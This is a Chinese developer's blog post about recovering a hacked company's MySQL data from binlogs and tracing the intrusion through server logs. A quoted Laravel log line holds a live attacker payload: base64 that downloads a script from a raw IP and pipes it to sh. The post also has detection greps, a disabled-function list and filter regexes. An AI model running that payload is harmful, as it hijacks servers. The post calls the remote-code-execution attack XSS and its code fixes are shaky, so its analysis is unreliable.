大家好,我是一个热爱编程、热衷于解决问题的开发者。今天,我想和大家分享一次紧张刺激的经历,一个关于如何在紧急情况下运用我的专业技能,帮助朋友的公司挽回重大损失的故事。
昨天下午,我接到了一个朋友的紧急电话。他的声音听起来焦虑不安,告诉我他们公司的网站遭受了SQL注入攻击,数据库被恶意删除,导致公司损失了近10万元。他们已经报了案,但警方那边还没有任何进展。公司让他帮找人手做一下恢复。我知道这种情况下,每一分钟都至关重要。
先镜像整个系统。快照下,方便后面取证。估计对破案应没什么用大家都知道的。
救火行动:恢复数据
首先,我立即行动起来,决定先恢复数据库,让系统重新运行起来。我选择了使用MySQL的二进制日志进行数据恢复。通过以下步骤,我成功地让数据回到了被攻击之前的状态:
先登录系统查看MySQL的二进制日志已经开启。运行不错,默认是开启的。找到查找要恢复的mysql-bin.000004文件。
用上mysqlbinlog,mysqlbinlog 是一个用于读取和处理MySQL二进制日志文件的命令行工具。它可以将binlog文件的内容转换为SQL语句,以便可以在MySQL服务器上执行这些语句。以下是一个基本的命令示例,用于恢复整个binlog文件:
mysqlbinlog /var/log/mysql/mysql-bin.000004 | mysql -u root -p
我又怕数据不完整,可以指定恢复特定时间范围内的数据,选项来指定这个范围。以下是修改时间后的命令示例:
mysqlbinlog --start-datetime="2024-11-01 00:00:00" --stop-datetime="2024-11-02 00:00:00" /var/log/mysql/mysql-bin.000001 | mysql -u root -p
然后经过数据整理sql,现在sql的增册改查就出来。我整理好然后导入到数据库,让朋友去核对。
这个过程虽然繁琐,在我的一顿猛如虎的操作下,数据很快就恢复了。最重要的用户数据和财务数据保住了,调试一下应没有问题了,公司终于可以暂时松一口气。
第二,查找攻击源头
先是抢救数据,然后在找攻击的源头。如果这解决不了,前面的工作说不定一会就白做了。
追根溯源:排查日志
接下来,我开始查找攻击的源头。我深知,只有找到问题所在,才能彻底堵住安全漏洞。
查看Nginx日志:我首先检查了Nginx的访问日志,寻找异常的请求。通过分析日志,我竟然没有找到。这里记录下过程
nginx的日志
先定位找到nginx的日志access.log文件
搜索潜在的XXS攻击特征: XXS攻击通常包含JavaScript代码或特殊字符,可以通过以下命令搜索这些特征:
···
sudo grep ‘<script’ /www/wwwlogs/access.log
sudo grep ‘οnerrοr=’ /www/wwwlogs/access.log
sudo grep ‘οnlοad=’ /www/wwwlogs/access.log
sudo grep ‘eval(’ /www/wwwlogs/access.log
sudo grep ‘alert(’ /www/wwwlogs/access.log
sudo grep ‘exec(’ /www/wwwlogs/access.log
···
没有找到,失败。
php-fpm的日志
继续检查php-fpm的慢日志
(base) root@VM-4-7-ubuntu:find /-name php-fpm-slowlog.log
(base) root@VM-4-7-ubuntu:/www/server/php/74/var/log# pwd
/www/server/php/74/var/log
(base) root@VM-4-7-ubuntu:/www/server/php/74/var/log# tail -n 2000 php-fpm.log | nl
grep - r 'exec(' php-fpm.log
(base) root@VM-4-7-ubuntu:/www/server/php/74/var/log# tail -n 2000 php-fpm.log | nl
grep - r 'eval(' php-fpm.log
没有找到,失败。
审查Laravel日志
于网站是基于Laravel框架开发的,我自然不会错过laravel.log文件。这个日志文件详细记录了应用程序的运行情况,为我提供了更多线索。
真相大白:发现漏洞
[2024-11-02 03:18:15] local.INFO: Input Parameters: {"<?php_shell_exec(base64_decode(\"WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA":"=\")); echo(md5(\"Hello CVE-2024-4577\")); ?>","hello_world":"","�d_allow_url_include=1_�d_auto_prepend_file=php://input":""}
[2024-11-02 03:18:27] local.INFO: Input Parameters: {"s":"/index/\\think\\app/invokefunction","function":"call_user_func_array","vars":["md5",["Hello"]]}
是通过exec和php://input来注入xxs攻击。问题找到了。我终于放下心了,看来经验还行。
救治漏洞
看以xxs攻击,我问了一下是使用Laravel框架,传参使用的是
$request->all()的写法,并不能阻止xxs攻击和注入。
限制 php://input
限制 php://input 的使用
确保你的应用程序不使用 php://input 来执行代码。如果你不需要这个功能,可以在 php.ini 中设置:
allow_url_include = Off
禁用危险函数
确保你的 PHP 配置中禁用了可能导致远程代码执行的函数,如 shell_exec。你可以在 php.ini 文件中设置 disable_functions:
disable_functions = shell_exec, exec, system, passthru, ...
中间件
使用中间件来检查请求
创建一个中间件来检查请求中是否有潜在的危险内容,并在检测到时中止请求。
public function handle(Request $request, Closure$next)
{
// 检查请求内容是否有潜在的危险代码
if ($this->containsDangerousCode($request->getContent())) {
// 如果检测到危险代码,则中止请求
abort(400, 'Potential code injection detected.');
}
return $next($request);
}
protected function containsDangerousCode($content)
{
// 使用正则表达式或其他方法来检测危险代码模式
// 这只是一个示例,实际的正则表达式应该更复杂
$pattern = '/<\?(php|=)|\b(shell_exec|exec|system|passthru|base64_decode)\b/i';
return preg_match($pattern,$content);
}
局部的限制
如果实在不能全局禁用php://input 的使用,可以针对性的在接口加入检查xss输入的风险。但是一定要更多小心,多排查。
在接口类继续一个CommonController.php文件,检查输入。如果是非法的,就使用400来禁止。
class CommonController extends BaseController
{
use AuthorizesRequests, DispatchesJobs, ValidatesRequests,CommonController;
const SUCCESS_200 = "操作成功";
const ERROR_2001 = "自定义错误";
const ERROR_2002 = "登录失败,请检查用户名和密码";
const ERROR_9999 = "系统错误,请联系系统管理员";
const ERROR_2010 = "token验证出错";
public $userInfo =[] ;
public function __construct() {
// 检查请求中的参数
foreach (request()->all() as $key => $value) {
if ($this->isXssAttack($value)) {
// 如果检测到 XSS 攻击,则返回错误响应
abort(400, 'Potential XSS attack detected.');
}
}
// 检查请求是否有潜在的风险
if ($this->isPhpInputUsed()) {
// 如果检测到 php://input 的使用,则中止请求
abort(400, 'php://input usage is not allowed.');
}
}
protected function isXssAttack($value)
{
if (!$value) return false;
// 简单的正则表达式来检测潜在的 XSS 攻击模式
// 注意:这只是一个示例,实际的正则表达式应该更复杂以提供更好的保护
$pattern = '/<(\s)*script(\s)*[^>]*>/i';
return preg_match($pattern,$value);
}
protected function isPhpInputUsed()
{
// 检查请求参数或服务器变量中是否有 php://input 的引用
foreach (request()->all() as $key => $value) {
if (is_string($value) && strpos($value, 'php://input') !== false) {
return true;
}
}
return false;
}
目前在发稿时,此方法是有效的
结语:能力与责任
这次经历再次证明,作为一名开发人员,我们的能力不仅仅局限于编写代码,更在于能够在关键时刻挺身而出,解决问题。我很庆幸能够运用我的专业技能,帮助朋友的公司挽回了损失。
同时,我也想提醒大家,网络安全无小事。无论是个人项目还是企业应用,都应当时刻保持警惕,加强安全防护。希望我的这次经历能给大家带来一些启示。
感谢阅读,我是那个热爱编程、乐于助人的开发者,让我们一起在代码的世界里不断前行。
版权归原作者 黑金IT 所有, 如有侵权,请联系我们删除。